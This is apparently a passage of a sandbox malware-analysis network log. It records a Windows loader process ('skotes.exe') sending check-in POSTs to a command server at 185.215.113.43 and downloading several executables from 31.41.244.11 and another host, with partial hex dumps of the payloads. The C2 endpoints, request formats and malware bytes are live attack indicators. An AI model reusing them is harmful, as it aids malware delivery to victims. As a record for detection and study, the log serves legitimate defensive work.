Dec 20, 2024 13:12:38.909924984 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 12:12:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49913	31.41.244.11	80	7748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 13:12:39.034456968 CET	62	OUT	GET /files/loadman/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 13:12:40.362893105 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 12:12:40 GMT Content-Type: application/octet-stream Content-Length: 1374720 Last-Modified: Thu, 19 Dec 2024 17:14:58 GMT Connection: keep-alive ETag: "67645492-14fa00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 e0 68 17 44 00 8c 14 00 e1 14 00 00 e0 00 26 03 0b 01 02 26 00 c8 0b 00 00 f6 14 00 00 04 00 00 80 14 00 00 00 10 00 00 00 e0 0b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 70 15 00 00 04 00 00 5c 55 1a 00 02 00 40 01 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 50 14 00 08 1c 00 00 00 90 14 00 2c 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 15 00 bc 63 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 8e 12 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELhD&&@p\U@ P,lcT.text``.dataH@.rdata@@.eh_framp@@.bss4@.idataP@.CRT8p$@.tls&@.rsrc,ln(@@.reloccd@B
Dec 20, 2024 13:12:40.363066912 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c3 eb 0d 90 90 90 90 90 90 90 90 90 90 90 90 90 83 ec 1c 31 c0 66 81 3d 00 Data Ascii: 1f=@MZATATATu<@@PE@tZ@TATu<$ATATQ=8KtH1f$fQft
Dec 20, 2024 13:12:40.363104105 CET	1236	IN	Data Raw: b1 fc ff ff 90 83 ec 1c 8b 44 24 20 89 04 24 e8 f1 7c 0b 00 85 c0 0f 94 c0 83 c4 1c 0f b6 c0 f7 d8 c3 90 90 90 55 89 e5 83 ec 08 8d 0d 04 a1 52 00 8d 05 20 40 54 00 89 0c 24 89 44 24 04 e8 82 23 0b 00 83 c4 08 5d c3 66 2e 0f 1f 84 00 00 00 00 00 Data Ascii: D$ $\|UR @T$D$#]f.UR @T$D$%]ffffffUEPuM uPQ]]rPQ1s]f.fUVtjPvyFtjPvd
Dec 20, 2024 13:12:40.363218069 CET	1236	IN	Data Raw: 00 55 89 e5 53 57 56 8b 7d 08 8b 75 10 8b 4d 0c 8b 07 8b 5f 08 29 d8 39 f0 72 1c 8b 47 04 01 d8 56 51 50 e8 61 78 0b 00 83 c4 0c 01 f3 31 c0 89 5f 08 5e 5f 5b 5d c3 56 53 57 89 cb e8 30 78 00 00 89 d9 83 c4 0c 8b 5f 08 eb d0 66 0f 1f 44 00 00 55 Data Ascii: USWV}uM_)9rGVQPax1_^_[]VSW0x_fDUSWVD$D$L$TD$D$hjhEPuT$LRP$\$x$$9\|$t$4G\|$hD$dD$tD$,D$p$T$0\$(D$
Dec 20, 2024 13:12:40.363271952 CET	1236	IN	Data Raw: 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 8b 44 24 08 8b 4c 24 2c 89 44 24 08 01 f0 80 f1 01 89 4c 24 2c 57 ff 75 0c 50 e8 89 73 0b 00 83 c4 0c 01 fe 8b 54 24 24 8b 7c 24 04 89 74 24 0c 89 74 24 18 8b 74 24 34 89 d3 8b 44 24 2c 85 d2 74 24 39 fa 73 Data Ascii: DD$L$,D$L$,WuPsT$$\|$t$t$t$4D$,t$9s<}tf.D_9ux\|$,\|?<r?T$$T?<r>D$$D?\|$T$$\|$,
Dec 20, 2024 13:12:40.363306999 CET	1236	IN	Data Raw: 00 00 83 c4 0c 0f b6 06 6a 01 68 00 9c 04 00 e8 b5 d5 00 00 83 c4 08 85 c0 0f 84 88 00 00 00 89 c6 68 00 9c 04 00 53 50 e8 b4 6e 0b 00 83 c4 0c 83 ec 18 89 34 24 c7 44 24 10 00 00 00 00 c7 44 24 08 00 00 00 00 c7 44 24 04 00 9c 04 00 e8 26 76 00 Data Ascii: jhhSPn4$D$D$D$&vjhVvjhSf]tjWSP0$^_[]hjhjEEtZjPuJEjhVEt6jVS(Ejh
Dec 20, 2024 13:12:40.363363981 CET	1236	IN	Data Raw: 85 40 ff ff ff 50 e8 ea d9 05 00 83 c4 0c 8d bd 40 fe ff ff 8d b5 40 ff ff ff b9 1b 00 00 00 f3 a5 8b 45 b0 85 c0 74 0c 6a 01 50 53 e8 d4 d0 00 00 83 c4 0c 6a 0c 68 a3 8f 50 00 6a 18 68 8b 8f 50 00 8d 85 40 ff ff ff 50 e8 87 a7 00 00 83 c4 14 8d Data Ascii: @P@@EtjPSjhPjhP@P@DHVWk@tjPVVW?W@P@XP@H<4
Dec 20, 2024 13:12:40.363399982 CET	1236	IN	Data Raw: ff 56 8d 8d 40 ff ff ff 51 50 e8 2a 65 0b 00 83 c4 0c 03 b5 48 fe ff ff e9 5e fd ff ff 8b 85 10 ff ff ff 85 c0 74 14 c1 e0 02 6a 04 50 ff b5 30 ff ff ff e8 f9 cb 00 00 83 c4 0c 8b 85 48 fe ff ff f2 0f 10 85 40 fe ff ff 89 85 04 ff ff ff 8b 45 e0 Data Ascii: V@QP*eH^tjP0H@EtjPuuOujhXWjhPj0hPV_@D`!@@PDPH@L`!@H
Dec 20, 2024 13:12:40.363432884 CET	332	IN	Data Raw: ff 8d 85 40 fe ff ff 89 85 54 ff ff ff c7 85 58 ff ff ff 00 f0 4b 00 8d 85 ac fe ff ff 8d 8d 40 ff ff ff 51 50 e8 13 f2 04 00 83 c4 08 84 c0 0f 85 0e 07 00 00 f2 0f 10 85 40 fe ff ff 8b 85 48 fe ff ff f2 0f 11 45 e0 89 45 e8 8b 5d e4 8b 55 d8 8d Data Ascii: @TXK@QP@HEE]U4PSW}Uuu@D`!@@HPDPHL`!@PT`!@X\`
Dec 20, 2024 13:12:40.363468885 CET	1236	IN	Data Raw: ff 85 c0 74 11 6a 01 50 ff b5 38 ff ff ff e8 fe c5 00 00 83 c4 0c 8b 45 e0 85 c0 74 0c 6a 01 50 53 e8 eb c5 00 00 83 c4 0c 8b 85 bc fe ff ff f2 0f 10 85 b4 fe ff ff f2 0f 11 85 20 ff ff ff 89 85 28 ff ff ff 8d 45 e0 6a 0c 68 ba 92 50 00 6a 1a 68 Data Ascii: tjP8EtjPS (EjhPjhPP]uS@P@@EtjPSy$(V@W-W@P@XP
Dec 20, 2024 13:12:40.483325005 CET	1236	IN	Data Raw: 5e 5f 5b 5d c3 6a 00 e8 11 fc 04 00 83 c4 04 e9 51 01 00 00 b9 78 93 50 00 eb 05 b9 68 93 50 00 51 ff 75 dc 50 e8 43 5a 09 00 83 c4 0c e9 33 01 00 00 c7 85 40 ff ff ff 04 00 00 00 c7 85 44 ff ff ff 00 00 00 00 c7 85 50 ff ff ff 00 00 00 00 c7 85 Data Ascii: ^_[]jQxPhPQuPCZ3@DPHLhP@P(XhPPjjVhPjhPXhKh<KPj7hK\DEhPh,KEPjj\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49923	185.121.15.192	80	8120	C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 13:12:41.971293926 CET	123	OUT	GET /zldPRFrmVFHTtKntGpOv1734579851?argument=TmUWwkAQBKXXTWTE1734696758 HTTP/1.1 Host: home.fivetk5ht.top Accept: /
Dec 20, 2024 13:12:43.545788050 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 20 Dec 2024 12:12:43 GMT Content-Type: application/octet-stream Content-Length: 10816560 Connection: close Content-Disposition: attachment; filename="2QEtacHyJXtAjIXfSS;" Last-Modified: Thu, 19 Dec 2024 03:44:11 GMT Cache-Control: no-cache ETag: "1734579851.9291923-10816560-2974095529" Data Raw: 43 6e b9 73 e8 06 85 00 03 9d f1 44 4f d4 2a 88 21 04 ac 53 e5 65 e5 f8 bf 81 f9 ed af 8a 19 34 29 2d 35 35 ca 51 a3 c6 fa 72 39 4f 87 29 e9 fc a1 e6 79 df 5d d5 8b 59 90 72 e5 93 74 eb 85 53 0c b4 6c d7 35 26 ab a6 90 a1 b5 eb b7 a9 23 82 8c 84 f4 2e 0b fa 65 06 8d 2c 5c a7 1c 0a 83 50 8c 81 98 49 8b 04 a8 21 03 99 5b 44 18 fd 80 55 2d 82 9d b6 fb 4b 63 52 18 b4 71 54 20 7c 94 c1 86 d9 34 33 36 df de 89 63 c9 3b 71 a7 da 02 0d 89 96 a9 5e 28 8f 6d 1e 31 4c e9 81 7e 48 1b 9a a2 24 0d 94 5b 49 09 5d f2 82 57 a7 e0 4c a1 54 ad 91 7f 16 85 ea 25 3a a7 9c cc 77 9c 59 2a 15 02 86 d0 49 18 ae 03 35 a0 fe b1 9d 8b a8 a9 50 c4 c7 36 19 a6 08 7b 5b c7 5a 05 b3 52 19 8e e9 76 61 c0 13 98 7a e4 12 b4 3e ed 2a 27 a6 ef a2 4a 7a be 30 0a 4a 3f 4b ef 76 8d 82 73 ac b5 71 5c b9 b2 6a 7d 15 a8 94 51 11 6d c2 8a ec a1 fb d0 35 3e 2c 4c 2d 2c 78 78 7a 54 c2 05 1c 5d 58 69 0f 5f ff 4a 6a 4f 17 c5 e1 bb 5c 45 3a 15 28 ac 5e 0d 95 d9 a0 8c ad 2d 74 9a 69 c1 ac 6e ea d3 6b f3 b7 70 0e 40 ed e0 34 15 4a 31 89 25 eb d8 df [TRUNCATED] Data Ascii: CnsDO!Se4)-55Qr9O)y]YrtSl5&#.e,\PI![DU-KcRqT \|436c;q^(m1L~H$[I]WLT%:wYI5P6{[ZRvaz>'Jz0J?Kvsq\j}Qm5>,L-,xxzT]Xi_JjO\E:(^-tinkp@4J1%Ef!wrvX{mB_b2N5U3\CeBWr\|s$9.Y,M@qbwPx.T N~L9iRYS,bzfr+6tisA?G1:8lrhS\|!8M`<.MpxvG1N9tR!rbV],c)a,rk?AD:2V&P/\@2Rfg?]Booydm_Kl&5KOC%Z6K.D0y6YYj2>E{sS'>u/`s$@s$Wq8I?QKhxTpgwaCWMAsE&W?oOn.d\vsdudNl E=d"5S=aDp!@wuMu$RCApM(UuEAA (y;
Dec 20, 2024 13:12:43.545851946 CET	1236	IN	Data Raw: 99 c8 66 50 7c a1 c2 73 ce f1 36 9e a8 73 6f 92 ea 31 94 ed 15 86 a3 ac cb 21 e0 d6 65 79 bb 0e db 86 1d e0 96 67 16 a2 a4 e0 91 1c 70 41 4d b7 c2 02 ef a3 99 60 b7 0c bd a2 33 d9 95 31 c6 7d 7c ce aa ca 32 28 37 73 37 5a 2d 14 f8 7e df 1e d5 8c Data Ascii: fP\|s6so1!eygpAM`31}\|2(7s7Z-~_ir1b5<\I5<+4~CjhlU\p<@GGb2OA@q>Q)NLajz]- 9QRN9r_12n@o0FZe3mv
Dec 20, 2024 13:12:43.545890093 CET	1236	IN	Data Raw: 0e c7 fc 3f c6 a8 39 42 05 0a 48 82 29 91 14 ff 39 a9 4f 86 0f 93 ab fb 5a 50 fa bc e1 cc e9 35 3b b0 47 03 72 41 36 60 bb 9c ce 72 bf 4d f6 18 90 15 d9 8e 4d ca d8 2f 7a 2b 8f 85 df fe e2 88 b6 33 28 d8 1e 8c d5 d2 ad 39 99 88 25 d6 78 5a ca 9b Data Ascii: ?9BH)9OZP5;GrA6`rMM/z+3(9%xZz;krqt,y2(hm^8&z]b)cc=EJfzIedI+*qGkdWl]9e!oo'cO:;B++F
Dec 20, 2024 13:12:43.545981884 CET	1236	IN	Data Raw: d7 5f 18 12 44 06 ea 06 91 13 7c 6b 53 fc 20 a7 9c 5c 97 6a 74 a3 f6 f9 19 48 27 b6 e4 a2 45 ca 82 cb bd 28 87 50 68 b9 47 42 9e e6 f9 a1 d7 7e 99 f2 59 33 b0 fa 30 2f 93 e2 d8 ea d5 70 d6 ae 1e ec c9 66 0b 17 17 ec 76 db 8d 01 ff cc 5f dd 4b e3 Data Ascii: _D\|kS \jtH'E(PhGB~Y30/pfv_Ku9meW*r5d\ek;.W}BvM_bjZnQ4+ZA^[^3n`H%'NHdoS["]lM.I( xA:h
Dec 20, 2024 13:12:43.546015978 CET	1236	IN	Data Raw: 49 73 67 46 b4 f3 56 b4 c3 19 f0 ab 8a fe 4b e3 2f 1c b5 d1 eb aa e1 e1 c8 8d cd d9 62 f1 76 3c 42 20 39 09 62 3b fd df 98 a7 2b b8 af 8b 5d e8 e7 78 89 6a 65 2d 3b 7b d9 34 e5 15 c8 17 e3 fb 00 2d 56 ea c8 69 92 3c 85 12 1a 3c 06 56 88 14 c7 85 Data Ascii: IsgFVK/bv<B 9b;+]xje-;{4-Vi<<VL+6'j*Zik8$YA{#68GKCFTK$]6oQ5CBmTKXF}('Cb;8n6RuyDvI6qI[\|L!'8fWd9tjE
Dec 20, 2024 13:12:43.546052933 CET	1236	IN	Data Raw: e4 83 76 74 ef e8 c5 96 ef fe 6d a6 77 76 38 8b f7 5b ca b3 ee 69 19 20 34 70 f8 cb 4a a5 05 d7 85 0e fa 37 82 63 93 0b 2c 21 cf c7 f8 59 57 0e 39 7b cb 10 91 d2 e0 76 35 f8 88 ed 1f a1 35 9c e0 08 88 52 34 ef da 19 8b 75 55 1b 28 79 c4 d9 da 15 Data Ascii: vtmwv8[i 4pJ7c,!YW9{v55R4uU(y-fgmA\1:p831`jI4FAb.)w1z<{u~4;h"FbD(<'"\|lxVVmRkO(0M-roO+p`W
Dec 20, 2024 13:12:43.546091080 CET	723	IN	Data Raw: 92 aa 97 67 b9 4b 13 c6 58 03 21 00 d2 9e 53 19 79 dd 35 49 7a 86 f5 b8 44 65 f6 03 3f a8 3a ad 55 fd 84 4f e4 31 9b 10 53 c5 0a 20 ee 3b 9c 9f 62 9d 3d c6 2f e5 0b 2e 50 b1 a6 a2 53 22 69 21 9a 0b d8 99 4d f0 6c 34 01 4d d4 50 2e 9d 00 d1 72 eb Data Ascii: gKX!Sy5IzDe?:UO1S ;b=/.PS"i!Ml4MP.r+d&woRDl}D0Hiw<`zt-R6i}p>..P/\IP=o"BP9&7\;~e=fe#We+RwiSq@28rALw[uBT.9
Dec 20, 2024 13:12:43.551812887 CET	1236	IN	Data Raw: e4 0d dc b1 f6 43 be 08 fe ac 63 2f a5 34 0c e6 33 10 f5 3f 0c 0c 29 c9 27 6f fe 5e 20 6f 85 ed 53 80 a7 64 0d 2c e3 dd 4d 1b 85 1c 63 c7 e5 fa f3 7a f1 c5 dd c2 c2 f1 b7 b3 fe 38 1b 5f 7a 4f ef 69 a1 b8 a6 64 33 d9 53 dc bf 16 60 b1 b7 e3 0f 00 Data Ascii: Cc/43?)'o^ oSd,Mcz8_zOid3S`w:b^K4A=TnpC)b(Y^p:BBwEBJQ;tazv]S@yD"r:L weTl<)L+%9QFJo+^tmS7C:
Dec 20, 2024 13:12:43.551930904 CET	224	IN	Data Raw: 48 10 80 de 71 77 70 5c bc 32 76 7a f9 a8 28 f6 95 a1 43 9e 85 d1 33 85 94 1c f6 f0 b2 5d e8 bb 99 76 e9 ad 77 1c d3 f6 ed 60 e4 24 e3 71 75 ba 91 33 88 cc 50 04 ae 17 6b fb ae 4b 96 7f 42 9a 67 da ce 2c 44 ec cf f5 72 f7 4e 05 3e b2 26 54 92 02 Data Ascii: Hqwp\2vz(C3]vw`$qu3PkKBg,DrN>&To58;`kr*^v?^j(>ETD4Zq{5]e7HpWc:+;:wL&mi1/8StB?dmT^9H.^~X1i-A
Dec 20, 2024 13:12:43.551960945 CET	1236	IN	Data Raw: 2a 8f e7 d0 56 de bd 6d c6 cb 02 38 31 65 90 9a cc 43 cb 72 6b 7b 5f bf 17 2c 77 f5 13 28 4b da a8 f5 45 7d 37 ff 47 0a 69 4f 5d 6d 05 1c 3a 62 cc aa 71 bd 91 40 e3 2c a6 cc 4e 51 35 e0 e7 85 c6 d8 ff a7 4e de 33 26 29 dc 35 c1 98 80 4a 08 7c 0a Data Ascii: Vm81eCrk{_,w(KE}7GiO]m:bq@,NQ5N3&)5J\|o<# 7u36)BOsGbG\lGDR5=8kjWBB[U"k,!q!IeDK6Q" kk#A5Z%f=!7;3d
Dec 20, 2024 13:12:43.665910006 CET	1236	IN	Data Raw: c8 d3 6d b0 46 17 e8 28 7d 0d 4a 20 7a 5d 04 41 8b 93 05 7c d5 f3 e1 b6 00 ce b7 32 14 ed 8b bf c1 c5 e0 23 e5 51 84 c8 3f 54 a1 39 72 25 7f a9 9b 96 77 8e 36 1f e2 4c 41 dd c5 f9 e3 bb 98 8a ef b0 56 cf 81 cd af 15 ad 2b 38 5b 42 80 61 f5 d7 98 Data Ascii: mF(}J z]A\|2#Q?T9r%w6LAV+8[Bagr@KKIeZ;G(cU `7"Wh&Abw&VQxifnrX.5G\TqEHE{c(B]u,QxC\K60sv7VmUyu-+v"-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49931	185.215.113.43	80	7748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 13:12:45.254118919 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 35 30 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018509001&unit=246122658369
Dec 20, 2024 13:12:46.589793921 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 12:12:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49937	31.41.244.11	80	7748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 13:12:46.798980951 CET	59	OUT	GET /files/karl/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 13:12:48.124609947 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 12:12:47 GMT Content-Type: application/octet-stream Content-Length: 22016 Last-Modified: Thu, 19 Dec 2024 14:25:14 GMT Connection: keep-alive ETag: "67642cca-5600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 66 0f 37 94 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 4c 00 00 00 08 00 00 00 00 00 00 8e 6a 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 00 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3c 6a 00 00 4f 00 00 00 00 80 00 00 ac 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 0c 00 00 00 a8 69 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELf7"0Lj @ `<jOi8 H.textJ L `.rsrcN@@.relocT@BpjH(7208s/(} }!}\| (+\| (0P~,Brp(rp((rp(((o(08s2(}(})}'\|((+\|((0Hs/+~~ioX-rp(+0rp( o!+*0rp( o!+
Dec 20, 2024 13:12:48.124620914 CET	224	IN	Data Raw: 00 06 2a 00 00 13 30 03 00 32 00 00 00 06 00 00 11 00 02 72 10 01 00 70 72 18 01 00 70 28 22 00 00 0a 6f 23 00 00 0a 0a 06 06 28 03 00 00 2b 28 04 00 00 2b 73 26 00 00 0a 28 27 00 00 0a 0b 2b 00 07 2a 00 00 1b 30 04 00 ad 00 00 00 07 00 00 11 00 Data Ascii: 02rprp("o#(+(+s&('+0s(rp( (+~%-&~s*%(+(+o-+@(.o/,%o0Xo1+o1(2
Dec 20, 2024 13:12:48.124627113 CET	1236	IN	Data Raw: 00 00 0a 2d b7 de 0f 12 02 fe 16 04 00 00 1b 6f 33 00 00 0a 00 dc 06 13 07 2b 00 11 07 2a 00 00 00 01 10 00 00 02 00 49 00 4d 96 00 0f 00 00 00 00 13 30 03 00 65 00 00 00 08 00 00 11 00 02 72 f4 00 00 70 28 20 00 00 0a 28 05 00 00 2b 7e 0a 00 00 Data Ascii: -o3+IM0erp( (+~%-&~s%(+(+~%-&~ s4%(++*0urpr&po#+=o6(+,X+
Dec 20, 2024 13:12:48.124651909 CET	1236	IN	Data Raw: 0b 07 06 fe 06 29 00 00 06 73 4f 00 00 0a 28 0c 00 00 2b 28 07 00 00 2b 0c 2b 00 08 2a 13 30 02 00 1c 00 00 00 10 00 00 11 00 28 51 00 00 0a 73 52 00 00 0a 0a 06 20 20 02 00 00 6f 53 00 00 0a 0b 2b 00 07 2a 1b 30 03 00 44 00 00 00 11 00 00 11 00 Data Ascii: )sO(+(++0(QsR oS+0D(ToUsV%r&poW(X&r2poY(((0Lss}{oZrRp(++s\(+(+
Dec 20, 2024 13:12:48.124671936 CET	1236	IN	Data Raw: 7d 14 00 00 04 02 12 01 28 78 00 00 0a 7d 1a 00 00 04 02 02 7b 1a 00 00 04 7d 19 00 00 04 02 14 7d 1a 00 00 04 02 02 7b 17 00 00 04 18 18 16 20 00 10 00 00 17 73 79 00 00 0a 7d 1b 00 00 04 00 06 17 2e 02 2b 02 2b 51 00 02 7b 1b 00 00 04 02 7b 19 Data Ascii: }(x}{}}{ sy}.++Q{{{iozoo({-C%}}\|(+{\|!%}(p/{,{o3}}/{
Dec 20, 2024 13:12:48.124680042 CET	1236	IN	Data Raw: 00 04 2d 07 72 b1 07 00 70 2b 05 72 eb 07 00 70 28 19 00 00 0a 00 02 72 23 08 00 70 7d 2e 00 00 04 02 72 b2 08 00 70 7d 2f 00 00 04 7e 04 00 00 04 28 15 00 00 06 72 41 09 00 70 28 1a 00 00 0a 28 80 00 00 0a 80 05 00 00 04 7e 04 00 00 04 28 15 00 Data Ascii: -rp+rp(r#p}.rp}/~(rAp((~(rAp(({.~(}0{/~(}1%{0%{1(oo({-C%}'}D\|((+{D\|D
Dec 20, 2024 13:12:48.124684095 CET	896	IN	Data Raw: 30 00 00 04 02 14 7d 31 00 00 04 02 14 7d 32 00 00 04 02 14 7d 35 00 00 04 02 14 7d 36 00 00 04 02 14 7d 37 00 00 04 02 14 7d 39 00 00 04 02 14 7d 3a 00 00 04 02 14 7d 3b 00 00 04 02 7c 28 00 00 04 09 28 7c 00 00 0a 00 de 61 02 1f fe 7d 27 00 00 Data Ascii: 0}1}2}5}6}7}9}:};\|((\|a}'}.}/}0}1}2}5}6}7}9}:};\|((}*A\|&[77
Dec 20, 2024 13:12:48.124689102 CET	1236	IN	Data Raw: 0e 06 00 b9 06 98 05 06 00 86 0e 98 05 06 00 cf 07 98 05 06 00 31 0b 98 05 06 00 bb 0a 98 05 06 00 4c 10 98 05 06 00 b2 0c 98 05 06 00 cb 0a 51 0a 06 00 22 03 52 0b c3 00 1d 0d 00 00 00 00 00 00 7a 05 00 00 00 00 01 00 01 00 00 00 10 00 38 0b 03 Data Ascii: 1LQ"Rz8A!ACA&A(DA*AA,.A/A'2113333Q6`
Dec 20, 2024 13:12:48.124928951 CET	1236	IN	Data Raw: 00 23 00 22 2e 00 00 00 00 86 18 af 0d 06 00 24 00 2c 2e 00 00 00 00 e1 01 a6 0f 06 00 24 00 4c 30 00 00 00 00 e1 01 ad 07 26 00 24 00 4e 30 00 00 00 00 86 18 af 0d 06 00 25 00 58 30 00 00 00 00 e1 01 a6 0f 06 00 25 00 24 37 00 00 00 00 e1 01 ad Data Ascii: #".$,.$L0&$N0%X0%$7&%%I))%rrg
Dec 20, 2024 13:12:48.124994993 CET	1236	IN	Data Raw: 00 ec 05 2e 00 3b 00 ec 05 2e 00 43 00 dd 05 2e 00 4b 00 f2 05 2e 00 53 00 ec 05 2e 00 5b 00 ec 05 2e 00 63 00 0a 06 2e 00 6b 00 34 06 2e 00 73 00 41 06 40 00 7b 00 8f 06 40 00 83 00 b3 06 63 00 93 00 b3 06 80 00 7b 00 b8 06 80 00 83 00 b3 06 83 Data Ascii: .;.C.K.S.[.c.k4.sA@{@c{#d%{` %-J_i1b36F]go{$Z'\)`'b)
Dec 20, 2024 13:12:48.244461060 CET	1236	IN	Data Raw: 60 31 00 5f 68 65 72 75 6e 74 65 72 67 65 6c 61 64 65 6e 65 72 44 61 74 65 69 50 66 61 64 31 00 49 74 65 6d 31 00 3c 74 65 78 74 4b 65 62 61 62 43 61 73 65 3e 35 5f 5f 31 32 00 3c 77 6f 72 74 3e 35 5f 5f 32 32 00 49 6e 74 33 32 00 4e 65 77 54 65 Data Ascii: `1_heruntergeladenerDateiPfad1Item1<textKebabCase>5__12<wort>5__22Int32NewTextV2<ordnerName>5__2<zeichenAnzahl>5__2<antwort>5__2<>u__2Func`2ValueTuple`2KeyValuePair`2Dictionary`2_heruntergeladenerDateiPfad2Item2<wrterMitGro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49948	185.215.113.43	80	7748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 13:12:50.677763939 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 35 31 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018510001&unit=246122658369
Dec 20, 2024 13:12:52.023492098 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 12:12:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49950	31.41.244.11	80	7748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 13:12:52.150017977 CET	62	OUT	GET /files/unique1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 13:12:53.480067968 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 12:12:53 GMT Content-Type: application/octet-stream Content-Length: 4467712 Last-Modified: Fri, 20 Dec 2024 10:36:17 GMT Connection: keep-alive ETag: "676548a1-442c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 